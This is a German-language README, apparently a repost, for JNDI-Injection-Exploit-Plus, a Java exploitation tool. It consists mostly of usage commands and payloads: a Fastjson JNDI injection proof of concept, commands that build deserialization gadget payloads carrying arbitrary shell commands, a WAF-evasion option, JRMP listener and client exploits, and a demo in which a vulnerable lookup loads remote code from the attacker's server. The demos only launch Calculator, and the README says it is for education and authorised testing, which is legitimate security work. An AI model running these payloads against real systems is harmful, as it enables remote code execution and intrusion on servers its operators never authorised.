JNDI-Injection-Exploit-Plus

Chinesisches README

Beschreibung

JNDI-Injection-Exploit-Plus ist ein Werkzeug zum Generieren funktionsfähiger JNDI-Links und bietet Hintergrunddienste durch Starten von RMI-Server, LDAP-Server und HTTP-Server.

Mit diesem Tool können Sie JNDI-Links erhalten und diese Links in Ihren POC einfügen, um die Schwachstelle zu testen.

Zum Beispiel ist dies ein Fastjson-Schwachstellen-POC:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Wir können „rmi://127.0.0.1:1099/Object“ durch den von JNDI-Injection-Exploit-Plus generierten Link ersetzen, um die Schwachstelle zu testen.

Darüber hinaus können Sie JNDI-Injection-Exploit-Plus auch verwenden, um Base64/Hex-Typ-Payloads zu generieren, wie ysoserial

Mehr als JNDI-Injection-Exploit

JNDI-Injection-Exploit ist ein großartiges Tool, dies ist die Plus-Version davon.

Noch mehr Funktionen

1. Mehr JNDI Remote Reference Gadgets: (insgesamt: 3)

• Unterstützt JDK 6/7/8

2. Mehr JNDI Local Reference Gadgets: (insgesamt: 4)

3. Deserialisierungs-Gadgets (insgesamt: 75)

P.S. Mehr Gadgets (⬆️) als ysoserial, willkommen bei PRs! ^_^

4. Generieren und Exportieren von Payloads

Wie ysoserial.

Sie können die Deserialisierungs-Payloads mit Base64- oder HEX-Ausgabe generieren.

5. Wrapper

Einige Wrapper zum Kapseln von Deserialisierungsdaten.

• Beispiel

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusion

Versteckt den Klassennamen, um WAF zu umgehen.

• Beispiel

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Referenz: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Webdienst zur Rückgabe von Deserialisierungs-Gadgets

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}&output={base64/hex}

P.S. Die Parameter wrapper & output sind optional.

Verwendung

JNDI-Links

Ausführen als

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

wobei:

• -C - Befehl, der in der entfernten Klassendatei ausgeführt wird.

  (optional, Standardbefehl ist „open /Applications/Calculator.app“)

• -A - die Adresse Ihres Servers, möglicherweise eine IP-Adresse oder eine Domain.

  (optional, Standardadresse ist die erste Netzwerkschnittstellenadresse)

Hinweise:

• Stellen Sie sicher, dass die Ports Ihres Servers (1099, 1389, 8180) verfügbar sind.

  oder Sie können den Standardport in der run.ServerStart-Klasse ändern.

• Ihr Befehl wird als Parameter an Runtime.getRuntime().exec() übergeben,

  daher müssen Sie sicherstellen, dass Ihr Befehl in der Methode exec() funktioniert.

  Befehle in Bash wie „bash -c ....“ müssen in doppelten Anführungszeichen stehen.

Deserialisierungs-Payloads

Ausführen als

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

wobei:

• -C - Befehl, der in der entfernten Klassendatei ausgeführt wird.

  (optional, Standardbefehl ist „open /Applications/Calculator.app“)

• -D - Der Name des Deserialisierungs-Gadget-Payloads.

• -O - (Optional) Der Ausgabetyp der Deserialisierung, Standard ist base64.

Deserialisierungs-Exploits

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Beispiele

JNDI-Links

Lokale Demo:

1. Starten Sie das Tool wie folgt:

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   Screenshot:

   

2. Nehmen wir an, wir injizieren die JNDI-Links wie rmi://ADDRESS/remoteExploit8, die in Schritt 1 generiert wurden, in eine angreifbare Anwendung, die durch JNDI-Injection angreifbar ist.

   In diesem Beispiel sieht es so aus:

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   Wenn wir diesen Code ausführen, wird der Befehl ausgeführt

   und das Log wird in der Shell ausgegeben:

   

Weitere Beispiele: Test-JNDI-Injection-Exploit-Plus

Deserialisierungs-Payloads

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Base64-Ausgabeergebnis:

Installation

Wir können eine der beiden Methoden wählen, um das JAR zu erhalten.

1. Laden Sie das neueste JAR von Release herunter.

2. Klonen Sie den Quellcode lokal und bauen Sie ihn (erfordert Java 1.8+ und Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

P.S. ‼️ Wenn Sie einen Fehler wie „java.rmi.xxx existiert nicht“ erhalten, sollten Sie die Umgebungsvariable JAVA_HOME setzen.

Haftungsausschluss

Alle Informationen und Codes dienen ausschließlich zu Bildungszwecken und/oder zum Testen eigener Systeme auf diese Schwachstellen.